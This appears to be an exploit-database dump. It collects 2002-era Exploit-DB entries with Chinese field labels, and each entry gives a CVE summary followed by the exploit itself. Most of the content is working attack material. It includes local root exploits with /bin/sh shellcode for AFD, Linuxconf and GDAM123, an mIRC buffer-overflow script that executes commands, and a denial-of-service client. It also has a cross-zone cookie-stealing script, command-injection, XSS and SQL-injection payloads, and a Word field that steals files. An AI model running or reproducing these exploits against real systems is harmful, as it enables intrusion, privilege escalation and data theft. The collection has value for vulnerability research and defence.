QLWD/code_shield huggingface dataset:
标题: Microsoft Internet Explorer 5 - IFrame/Frame Cross-Site/Zone Script Execution EDB-ID: 21777 CVE: 2002-1187 类型: REMOTE 平台: WINDOWS 发布日期: 2002-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5672/info

When a Microsoft Internet Explorer (MSIE) window opens another window, security checks should prevent the parent from accessing the child if the latter is of another domain or Security Zone. It has been reported that such checks fails to occur against attempts to access the frames of child window documents. It is possible for a parent window to set the URL of frames or iframes within a child window regardless of the domain or Security Zone. This has serious security implications as the parent can cause script code to be executed within the context of the child domain by setting the URL to the "javascript" protocol, followed by the desired code. Attackers may also execute script code within the "My Computer" Zone. This may have more severe consequences. 

<script language="jscript">
onload=function () {
Â Â Â Â var
oVictim=open("http://groups.google.com/groups?threadm=anews.Aunc.850","OurVi
ctim","width=100,height=100");
Â Â Â Â setTimeout(
Â Â Â Â Â Â Â Â function () {
Â Â Â Â Â Â Â Â Â Â Â Â oVictim.frames[0].location.href="javascript:alert(document.cooki
e)";
Â Â Â Â Â Â Â Â },
Â Â Â Â Â Â Â Â 7000
Â Â Â Â );
}
</script> URL: https://www.exploit-db.com/exploits/21777
标题: SWS Simple Web Server 0.0.3/0.0.4/0.1 - New Line Denial of Service EDB-ID: 21775 CVE: 2002-2370 类型: DOS 平台: LINUX 发布日期: 2002-09-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5664/info

SWS Simple Web Server is prone to a denial of service when requests not ending with a newline are received.

Remote attackers may exploit this condition to deny access to legitimate users of the web server. 

/*
 * Mon Sep  2 17:45:04 2002
 *
 * |SaMaN| aka Mert <saman@hush.com>
 *
 * Information  : Anyone can kill SWS Web Server v0.1.0 remotely.
 *
 * Proof of Concept Exploit for SWS Web Server v0.1.0
 *
 * SWS homepage : http://www.linuxprogramlama.com
 *
 * Tested on    : Slackware 8.1 - 2.4.18
 *              : Redhat 7.0    - 2.2.16-22
 *
 * Problem      : sws_web_server.c
 *              : line 108
 *              : if (recvBuffer[i - 1] != '\n') break;
 *
 * Q : So what will happen when we send a string not end with '\n' ?
 * A : break break break
 * Q : So root should restart web server everytime ?
 * A : Yes
 * Q : Other web servers act like this ?
 * A : No
 * Q : So something is wrong ?
 * A : Yes :)
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define K  "\033[1;31m"
#define Y  "\033[1;32m"
#define SA "\033[1;33m"
#define M  "\033[1;34m"

#define PORT 80

int main(int argc, char *argv[])
{
   int sockfd, numbytes;
   struct hostent *adres;
   struct sockaddr_in hedef;

   char buf[8] = "|SaMaN|";

   if (argc != 2) {
      printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
      printf("%sSWS Web Killer (saman@hush.com)  \n", SA);
      printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
      printf("%sUsage: ./sws_web_killer %s<IP>   \n",Y,M);
      return 0;
   }

   if ((adres=gethostbyname(argv[1])) == NULL) {
      perror("gethostbyname");
      exit(1);
   }

   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("socket");
      exit(1);
   }

   hedef.sin_family = AF_INET;
   hedef.sin_port = htons(PORT);
   hedef.sin_addr = *((struct in_addr *)adres->h_addr);
   memset(&(hedef.sin_zero), '\0', 8);

   if (connect(sockfd, (struct sockaddr *)&hedef,
                                     sizeof(struct sockaddr)) == -1)
   {
        perror("connect");
        exit(1);
   }

   if ((numbytes=send(sockfd, buf, strlen(buf), 0)) == -1) {
        perror("send");
        exit(1);
   }

   close(sockfd);

   return 0;
} URL: https://www.exploit-db.com/exploits/21775
标题: Super Site Searcher - Remote Command Execution EDB-ID: 21768 CVE: 2002-2420 类型: WEBAPPS 平台: CGI 发布日期: 2002-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/5605/info

Super Site Searcher is prone to remote command execution. Shell metacharacters are not adequately filtered from query string parameters in a request to the vulnerable search engine script. The parameters are then used in a function which passes commands directly through the shell.

A remote attacker may exploit this condition to execute arbitrary commands on the shell with the privileges of the webserver process.

Simple Site Searcher, released by the same vendor, is also prone to this issue. 

http://target/searchenginepath/site_searcher.cgi?page=|command| URL: https://www.exploit-db.com/exploits/21768
标题: Aestiva HTML/OS 2.4 - Cross-Site Scripting EDB-ID: 21769 CVE: 2002-1494 类型: WEBAPPS 平台: CGI 发布日期: 2002-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/5618/info

Aestiva HTML/OS is a database engine and development suite for building websites and web-based software products.

HTML/OS does not sufficiently sanitize metacharacters from error message output. In particular, attackers may inject HTML into error pages.

It is possible to create a malicious link to the server which will generate an error page with attacker-supplied HTML and script code when visited. Arbitrary HTML and script code will be executed by the web client of the user visiting the server, in the security context of the server. 

http://www.example.com/pages/htmlos/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.example.com/cgi-bin/erba/start/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.exmaple.com/cgi-bin/start.cgi/%3Cscript%3Ealert(document.domain);%3C/script%3E URL: https://www.exploit-db.com/exploits/21769
标题: Linuxconf 1.1.x/1.2.x - Local Environment Variable Buffer Overflow (3) EDB-ID: 21763 CVE: 2002-1506 类型: LOCAL 平台: LINUX 发布日期: 2002-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/5585/info
  
Linuxconf is a Linux configuration utility from Solucorp. It is typically installed as a setuid root utility for the management and configuration of Linux operating systems.
  
A buffer overflow vulnerability has been reported for Linuxconf. The vulnerability is due to insufficent bounds checking of the LINUXCONF_LANG environment variable. An attacker who sets the LINUXCONF_LANG environment variable with an overly large string will be able to cause the buffer overflow condition. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21763.tar.gz URL: https://www.exploit-db.com/exploits/21763
标题: NullLogic Null HTTPd 0.5 - Error Page Cross-Site Scripting EDB-ID: 21767 CVE: 2002-1497 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5603/info

NullLogic Null HTTPd is a small multithreaded webserver for Linux and Windows.

It is possible for attackers to construct a URL that will cause scripting code to be embedded in error pages. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. 

http://localhost/a?x=<SCRIPT>alert(document.URL)</SCRIPT> URL: https://www.exploit-db.com/exploits/21767
标题: Microsoft Word 95/97/98/2000/2002 / Excel 2002 - INCLUDETEXT Document Sharing File Disclosure EDB-ID: 21764 CVE: 2002-1143 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/5586/info

The Microsoft Word and Excel INCLUDETEXT Field Code may be used to insert an arbitrary local file into a document. The INCLUDETEXT Field Code is reported to, under some circumstances, present a security threat.

If the INCLUDETEXT Field Code is included in a document and references a file on the local system of the recipient, then the file will also be included when the document is sent out. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.

The recipient of the malicious document must still pass along the updated version of the document for the attacker to receive the imported local file.

** Reports indicate that using a 'dde' link group field may be able to bypass the functionality of the Microsoft patch for this issue.

Inserting the following field structure into the footer of the last page of the document will steal the contents of c:\a.txt on the target's computer:

{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\\a.txt" "c:\\a.txt" } \* MERGEFORMAT } = "" "" \* MERGEFORMAT }

(The curly braces above represent Microsoft Word field braces.) URL: https://www.exploit-db.com/exploits/21764
标题: Caldera X Server 7.1/8.0 - External Program Privileged Invocation EDB-ID: 21758 CVE: 2002-0987 类型: LOCAL 平台: UNIX 发布日期: 2002-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/5575/info

Caldera's X Server implementation invokes external commands without dropping existing privilege levels. Xserver calls xkbcomp, and other related utilities, in an unsecure manner using the popen() or system() calls. While this would not typically be an issue, as execution of the binary would typically result in the execution of code in the security context of the invoking user, the xkbcomp utility is executed by the Xserver process before privileges are dropped.

This weakness can be exploited by local attacker to execute arbitrary commands with elevated privileges. 

$ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp] URL: https://www.exploit-db.com/exploits/21758
标题: mIRC 6.0 - Scripting ASCTime Buffer Overflow EDB-ID: 21759 CVE: 2002-1456 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/5576/info

mIRC is a chat client for the IRC protocol, designed for Microsoft Windows based operating systems. mIRC includes support for a scripting language.

A buffer overflow vulnerability has been reported in the $asctime identifier, a function in the mIRC scripting language. The error lies in the handling over oversized format specifier strings.

Exploitation will rely on a script passing untrusted input to this function. Reportedly, no such script is included in the default installation of mIRC. 

; Proof of concept Code for asctime exploit
; Author: James Martin
; Website: http://www.uuuppz.com
; Email: me@uuuppz.com
;
; Usage:
; /asctime_poc notepad c:\autoexec.nat
; /asctime_poc command.com /c echo Your have been rooted > c:\rooted.txt
; etc :)
;
;
/asctime_poc {
; Set Show State
;
; Valid Values:
; 1 - Show Normal (This will break a ctcp request)
; 2 - Minimise (If your being evil... ;))
; 3 - Maximise
set %showstate 2

; Build Coded Command String
set %command $1-
set %count 1
unset %codedcommand
:loop
set %codedcommand %codedcommand $+ $chr($calc(128+$asc($mid(%command, %count, 1))))
set %count $calc( %count + 1)
if %count <= $len(%command) goto loop 

; Shell Code to Execute
;
; Detects mirc version, decodes the command string then calls winexec
set %shellcode $chr(184) $+ PPP $+ $chr(255) $+ $chr(193) $+ $chr(224) $+ $chr(8) $+ $chr(193) $+ $chr(232) $+ $chr(8) $+ f $+ $chr(139) $+ $chr(24) $+ f $+ $chr(129) $+ $chr(251) $+ $chr(220) $+ qu $+ $chr(7) $+ $chr(184) $+ $chr(250) $+ $chr(253) $+ $chr(5) $+ $chr(255) $+ $chr(235) $+ $chr(19) $+ f $+ $chr(129) $+ $chr(251) $+ $str($chr(255),2) $+ u $+ $chr(7) $+ $chr(184) $+ $chr(190) $+ $chr(187) $+ $chr(4) $+ $chr(255) $+ $chr(235) $+ $chr(5) $+ $chr(184) $+ $chr(210) $+ $chr(129) $+ $chr(4) $+ $chr(255) $+ 5PPP $+ $chr(255) $+ $chr(235) $+ $chr(30) $+ Yj $+ $chr( %showstate ) $+ QIA $+ $chr(128) $+ 9 $+ $chr(255) $+ u $+ $chr(2) $+ $chr(235) $+ $chr(5) $+ $chr(128) $+ 1 $+ $chr(128) $+ $chr(235) $+ $chr(243) $+ $chr(128) $+ 1 $+ $chr(255) $+ $chr(255) $+ $chr(208) $+ ]]] $+ $chr(139) $+ $chr(229) $+ ] $+ $chr(195) $+ $chr(232) $+ $chr(221) $+ $str($chr(255),3) 

; Build Exploit String
set %exploitstring %shellcode $+ %codedcommand $+ $chr(255) $+ $str(a, $calc(300-2- $len(%command))) $+ q $+ $chr(17) $+ $chr(64) 

; Run exploit string
;
; In the real world it would be more like
; /msg muppet weirdcommand %exploitstring
echo 1 $asctime(%exploitstring)
} URL: https://www.exploit-db.com/exploits/21759
标题: FactoSystem Weblog 0.9/1.0/1.1 - Multiple SQL Injections EDB-ID: 21766 CVE: 2002-1499 类型: WEBAPPS 平台: ASP 发布日期: 2002-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/5600/info

FactoSystem Weblog is a freely available, open source software package for weblogging and managing content. It is available for Microsoft Windows operating systems.

FactoSystem does not adequately filter special characters from requests. Because of this, it may be possible for a remote user to submit a request containing encoded special characters and SQL, and execute arbitrary commands. This could lead to execution of SQL commands in the security context of web database user.

http://www.example.com/author.asp?authornumber=1%28%20And%20AuthorTable%2EAuthorID%3DBlurbTable%2EAuthorID%20And%20BlurbTable%2ESub_id%3DSubjectTable%2ESub_id%20Order%20By%20BlurbTable%2EBlurbdate%20desc%2C%20blurbtable%2Eblurbtime%20desc%3BUPDATE%20user%20SET%20Password%3DPASSWORD%28%27password%27%29%20WHERE%20user%3D%27root%27%3B%20FLUSH%20PRIVILEGES%3B-- URL: https://www.exploit-db.com/exploits/21766
标题: AFD 1.2.x - Working Directory Local Buffer Overflow / Local Privilege Escalation EDB-ID: 21771 CVE: 2002-1503 类型: LOCAL 平台: UNIX 发布日期: 2002-09-04 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/5626/info
 
AFD (Automatic File Distributor) is prone to a number of locally exploitable stack and heap based buffer overflow conditions. These issues are all related to insufficient bounds checking of externally supplied values for the working directory, either via the command line or through an environment variable.
 
A number of the vulnerable AFD binaries are installed setuid root and may potentially be exploited by a local attacker to execute arbitrary code as root. 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] =
    "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
    "--netric--"
    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
    "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int
main(int argc, char *argv[])
{
    char buffer[1135];

    unsigned int retloc     = 0xbfffe360;
    unsigned int ret        = 0x0806f020; /* &shellcode */

    if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
    if (argc > 2) ret    = strtoul(argv[2], &argv[2], 16);

    memset(buffer, 0x41, sizeof(buffer));
    memcpy(buffer, "MON_WORK_DIR=",13);
    memcpy(buffer+13, shellcode, strlen(shellcode));

    buffer[1117] = 0xff; /* prev_size */
    buffer[1118] = 0xff;
    buffer[1119] = 0xff;
    buffer[1120] = 0xff;

    buffer[1121] = 0xfc; /* size field */
    buffer[1122] = 0xff;
    buffer[1123] = 0xff;
    buffer[1124] = 0xff;

    buffer[1126] = (retloc & 0x000000ff); /* FD */
    buffer[1127] = (retloc & 0x0000ff00) >> 8;
    buffer[1128] = (retloc & 0x00ff0000) >> 16;
    buffer[1129] = (retloc & 0xff000000) >> 24;

    buffer[1130] = (ret & 0x000000ff); /* BK */
    buffer[1131] = (ret & 0x0000ff00) >> 8;
    buffer[1132] = (ret & 0x00ff0000) >> 16;
    buffer[1133] = (ret & 0xff000000) >> 24;

    buffer[1134] = 0x0;
    putenv(buffer);

    fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
    fprintf(stdout, "-----------------------------------------------------------------\n");
    fprintf(stdout, "Ret    = 0x%08x\n", ret);
    fprintf(stdout, "Retloc = 0x%08x\n", retloc);

    execl("/bin/mon_ctrl", "mon_ctrl", NULL);
    return 0;
} URL: https://www.exploit-db.com/exploits/21771
标题: Linuxconf 1.1.x/1.2.x - Local Environment Variable Buffer Overflow (2) EDB-ID: 21762 CVE: 2002-1506 类型: LOCAL 平台: LINUX 发布日期: 2002-08-28 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5585/info
 
Linuxconf is a Linux configuration utility from Solucorp. It is typically installed as a setuid root utility for the management and configuration of Linux operating systems.
 
A buffer overflow vulnerability has been reported for Linuxconf. The vulnerability is due to insufficent bounds checking of the LINUXCONF_LANG environment variable. An attacker who sets the LINUXCONF_LANG environment variable with an overly large string will be able to cause the buffer overflow condition. 

/*
 * This is an exploit for the linuxconf overflow issue.
 *
 * The detail of this hole was published on 08.28.2002 by
 * David Endler from www.idefense.com. 
 *
 * Tested to work on Redhat 7.0 with linuxconf 1.25r3.
 * [The magic numbers that worked for me are: 980 500 2048 1]
 *
 * This is a classical example of stack smashing. Large portion 
 * of code were ripped from Aleph1's. So, credits due to him.
 *
 * Flame or comment goes to: jinyean@hotmail.com 
 *
 */

#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_ALIGN  0
#define DEFAULT_OFFSET  0
#define DEFAULT_BUFFER_SIZE 980
#define DEFAULT_EGG_SIZE 2048
#define NOP   0x90

char shellcode[]=
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89"
        "\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09\x8d\x56\x0d"
        "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
        "\xff\xff/bin/ash";


unsigned long get_esp(void) {
 __asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
 char *buff, *ptr, *egg;
 long *addr_ptr, addr;
 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
 int i, eggsize=DEFAULT_EGG_SIZE, align=DEFAULT_ALIGN;

 if (argc>1) bsize=atoi(argv[1]);
 if (argc>2) offset=atoi(argv[2]);
 if (argc>3) eggsize=atoi(argv[3]);
 if (argc>4) align=atoi(argv[4]);

 if (!(buff=malloc(bsize))) {
  printf("Can't allocate memory.\n");
  exit(0);
 }
 if (!(egg=malloc(eggsize))) {
  printf("Can't allocate memory.\n");
         exit(0);
 }

 addr=get_esp()-offset;
 printf("Using address: 0x%x\n",addr);

        ptr=buff;
 addr_ptr=(long *)(ptr+align);

 for (i=0; i<bsize; i+=4) 
  *(addr_ptr++)=addr;

 ptr=egg;

 for (i=0; i<eggsize-strlen(shellcode)-1; i++)
  *(ptr++)=NOP;

 for (i=0; i<strlen(shellcode); i++)
  *(ptr++)=shellcode[i];

 buff[bsize-1]='\0';
 egg[eggsize-1]='\0';

 memcpy(egg,"EGG=",4);
 putenv(egg);
 memcpy(buff,"LINUXCONF_LANG=",15);
 putenv(buff);
 execl("/sbin/linuxconf","linuxconf",NULL);

} URL: https://www.exploit-db.com/exploits/21762
标题: GDAM123 0.933/0.942 - Filename Buffer Overflow EDB-ID: 21760 CVE: 2002-1812 类型: LOCAL 平台: UNIX 发布日期: 2002-08-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5578/info

The GDAM123 command-line MP3 player is prone to a buffer overflow condition when handling overly long filenames. Under some circumstances, the player may be installed setuid root to allow unprivileged users to run the player if access to certain devices is required. In a situation such as this, the buffer overflow may be exploited to gain elevated privileges via the execution of arbitrary code. 

/* gdam123(client) proof of concept exploit by sacrine
 * An unchecked buffer in filename option
 * Netric Security (RESOURCE MATERIAL)
 * http://www.netric.org
 *
 * ./gdam123-expl -3300
 * greets: All members of Netric, my girlfriend
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

// #define BUFLEN 2148
#define BUFLEN (2157 + 9) 
#define NOP 0x90

char shellcode[] =
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv)
{
 unsigned long ret = 0xbffff090;
 char  buffer[BUFLEN];
 char  egg[1024];
 char *ptr;
 int i=0;
 unsigned long offset ; 

 if (argc > 1) 
  ret = ret - atol(argv[1]) ;

 memset(buffer,NOP,sizeof(buffer));
 ptr=egg;
 
 for (i=0; i<1024-strlen(shellcode)-1;i++)*(ptr++) = '\x90';
 for (i=0; i<strlen(shellcode);i++)*(ptr++) = shellcode[i];
 
 egg[1024-1] = '\0';
 memcpy(egg,"EGG=",4);
 putenv(egg);
 
 memset(buffer, 0x41, sizeof(buffer)); 
 buffer[BUFLEN-5] = (ret & 0x000000ff);
 buffer[BUFLEN-4] = (ret & 0x0000ff00) >> 8;
 buffer[BUFLEN-3] = (ret & 0x00ff0000) >> 16;
 buffer[BUFLEN-2] = (ret & 0xff000000) >> 24;
 buffer[BUFLEN-1] = 0x00;
 
 printf("gdam123 proof of concept exploit by sacrine\n");
 printf("ret: 0x%x\n",ret);
 printf("buf: %d\n\n",strlen(buffer));
 
 execl("gdam123", "gdam123_hacked",buffer, NULL);
 return(0);
} URL: https://www.exploit-db.com/exploits/21760
标题: PHPReactor 1.2.7 - Style Attribute HTML Injection EDB-ID: 21755 CVE: 2002-2424 类型: WEBAPPS 平台: PHP 发布日期: 2002-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5569/info

php(Reactor) does not sufficiently sanitize HTML from various fields (such as in the body of a message or in profile fields). It is possible to inject arbitrary HTML and script code into these fields.

An attacker may potentially exploit this situation to cause arbitrary HTML and script code to execute in the web client of a user of a vulnerable website. The attacker-supplied code will execute in the context of the vulnerable website. 

<b style="expression(alert(document.cookie))"> URL: https://www.exploit-db.com/exploits/21755
标题: Belkin F5D6130 Wireless Network Access Point - SNMP Request Denial of Service EDB-ID: 21756 CVE: 2002-1811 类型: DOS 平台: HARDWARE 发布日期: 2002-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/5571/info

A denial of service vulnerability has been reported in the Belkin F5D6130 Wireless Network Access Point.

Reportedly, this issue may be exploited by making a sequence of SNMP requests. A valid community name is not required. After a number of SNMP requests are made, the device will fail to respond to further requests. Additionally, all wireless connections will be dropped, and new connections refused.

Under some conditions, the device may also fail to respond on the ethernet interface.

snmpwalk <ip address> <arbitrary objectID> URL: https://www.exploit-db.com/exploits/21756
标题: Microsoft Internet Explorer 5/6 Legacy Text Formatting - ActiveX Component Buffer Overflow EDB-ID: 21748 CVE: 2002-0647 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/5558/info

A buffer overflow vulnerability has been reported in Microsoft Internet Explorer's Legacy Text Formatting ActiveX control. The Legacy Text Formatting ActiveX control is used by Internet Explorer to display specially formatted text. Reportedly, the ActiveX control is vulnerable to a buffer overflow condition.

Microsoft has reported that the specific ActiveX control is not installed by default as part of Internet Explorer. The control, however, will be downloaded as it is needed from a Microsoft Web Site.

The control was retained by Microsoft for backward compatibility and has since been removed from the Web site. 

<OBJECT
classid="clsid:99B42120-6EC7-11CF-A6C7-00AA00A47DD2"
id=lblActiveLbl
width=250
height=250
align=left
hspace=20
vspace=0
>
<PARAM NAME="Angle" VALUE="90">
<PARAM NAME="Alignment" VALUE="4">
<PARAM NAME="BackStyle" VALUE="0">
<PARAM NAME="Caption" VALUE="long char string">
<PARAM NAME="FontName" VALUE="NGS Software Font">
<PARAM NAME="FontSize" VALUE="50">
<PARAM NAME="FontBold" VALUE="1">
<PARAM NAME="FrColor" VALUE="0">
</OBJECT> URL: https://www.exploit-db.com/exploits/21748
标题: Blazix 1.2 - Special Character Handling Server Side Script Information Disclosure EDB-ID: 21751 CVE: 2002-1451 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5566/info

Blazix is a freely available, open source web server written in Java. It is available for Linux and Microsoft Windows operating systems.

When a user passes a request to the web server that ends in either a plus (+) or backslash (\), the web server may react unpredictably. This type of character appended to the name of a .jsp file has been reported to reveal the contents of the .jsp file. 

http://www.example.com/jsptest.jsp+
http://www.example.com/jsptest.jsp\ URL: https://www.exploit-db.com/exploits/21751